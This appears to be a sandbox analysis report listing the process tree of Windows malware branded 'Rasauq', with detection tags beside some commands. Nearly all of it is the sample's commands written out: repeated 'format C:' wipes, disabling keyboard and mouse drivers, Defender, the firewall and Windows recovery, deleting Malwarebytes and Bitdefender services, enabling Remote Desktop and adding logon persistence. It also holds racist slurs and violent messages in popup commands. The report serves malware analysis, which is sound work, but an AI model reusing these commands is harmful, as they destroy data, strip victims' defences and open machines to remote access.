C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
- Blocklisted process makes network request
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
- Blocklisted process makes network request
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
- Blocklisted process makes network request
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hig.bat"3⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\openfiles.exeopenfiles4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(new-object -com shell.application).minimizeall()"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\system32\curl.execurl -O https://media.discordapp.net/attachments/1198940919777472532/1349364239487467550/IMG_3728.png4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "Wallpaper" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\IMG_3728.png" /f4⤵
- Sets desktop wallpaper using registry
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "WallpaperStyle" /t REG_SZ /d 10 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "TileWallpaper" /t REG_SZ /d 0 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Personalization" /v "LockScreenImage" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\IMG_3728.png" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background" /v "OEMBackground" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background" /v "BackgroundType" /t REG_DWORD /d 0 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background" /v "Background" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\IMG_3728.png" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM" /v "AccentColor" /t REG_DWORD /d 0x00000000 /f4⤵
-
-
C:\Windows\system32\rundll32.exeRUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kbdhid" /v Start /t REG_DWORD /d 4 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouhid" /v Start /t REG_DWORD /d 4 /f4⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "Windows Host Service" /tr "\"C:\Windows\System32\Rasauq\$77RasauqBroker.bat\"" /sc onlogon /rl highest /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\sc.exesc stop WinDefend4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WinDefend start=disabled4⤵
- Launches sc.exe
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable4⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable4⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable4⤵
-
-
C:\Windows\system32\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d 4 /f4⤵
- Modifies security service
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows Defender" /v "Last Known Good" /t REG_DWORD /d 0 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center" /v "DisableSecurityCenter" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\MpsSvc" /v "Start" /t REG_DWORD /d 4 /f4⤵
- Modifies security service
-
-
C:\Windows\system32\cmd.execmd /c "C:\Windows\System32\Rasauq\$77RasauqBroker.bat"4⤵
-
C:\Windows\system32\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f5⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yes5⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im explorer.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object -ComObject SAPI.SpVoice).Volume = 100"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoSettings" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoAddPrinter" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAVerb" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideIcons" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "InvertMouse" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\ReAgentc.exereagentc /disable4⤵
- Drops file in Windows directory
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\Recovery\WinRE.wim /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\Recovery\WinRE.wim /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\Recovery /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\Recovery /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {current} recoveryenabled No4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /deletevalue {default} recoveryenabled4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRE" /v "DisableWinRE" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKCU\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f4⤵
-
-
C:\Windows\system32\reg.exeREG DELETE "HKCU\Software\Policies\Microsoft\Windows Defender" /f4⤵
-
-
C:\Windows\system32\sc.exesc stop WinDefend4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc config WinDefend start= disabled4⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableAntiTamper $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableIOAVProtection $true"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\mspmsnsv.dll" /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\wscsvc.dll" /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mbam.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM MBAMService.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mbamtray.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM mbamscheduler.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exesc stop MBAMService4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete MBAMService4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop MBAMProtector4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete MBAMProtector4⤵
-
-
C:\Windows\system32\sc.exesc stop MBAMChameleon4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete MBAMChameleon4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop MBAMFarflt4⤵
-
-
C:\Windows\system32\sc.exesc delete MBAMFarflt4⤵
-
-
C:\Windows\system32\sc.exesc stop MBAMSwissArmy4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete MBAMSwissArmy4⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Malwarebytes" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_CURRENT_USER\SOFTWARE\Malwarebytes" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MBAMService" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MBAMChameleon" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MBAMFarflt" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MBAMSwissArmy" /f4⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdservicehost.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdagent.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdredline.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdparentalservice.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdreinit.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM bdsubwiz.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM seccenter.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vsserv.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM epssecurityservice.exe /T4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exesc stop bdservicehost4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdservicehost4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bdagent4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdagent4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bdredline4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdredline4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bdparentalservice4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdparentalservice4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop bdreinit4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdreinit4⤵
-
-
C:\Windows\system32\sc.exesc stop bdsubwiz4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete bdsubwiz4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop seccenter4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete seccenter4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop vsserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete vsserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop epssecurityservice4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete epssecurityservice4⤵
- Launches sc.exe
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Bitdefender" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_CURRENT_USER\SOFTWARE\Bitdefender" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdservicehost" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdagent" /f4⤵
-
-
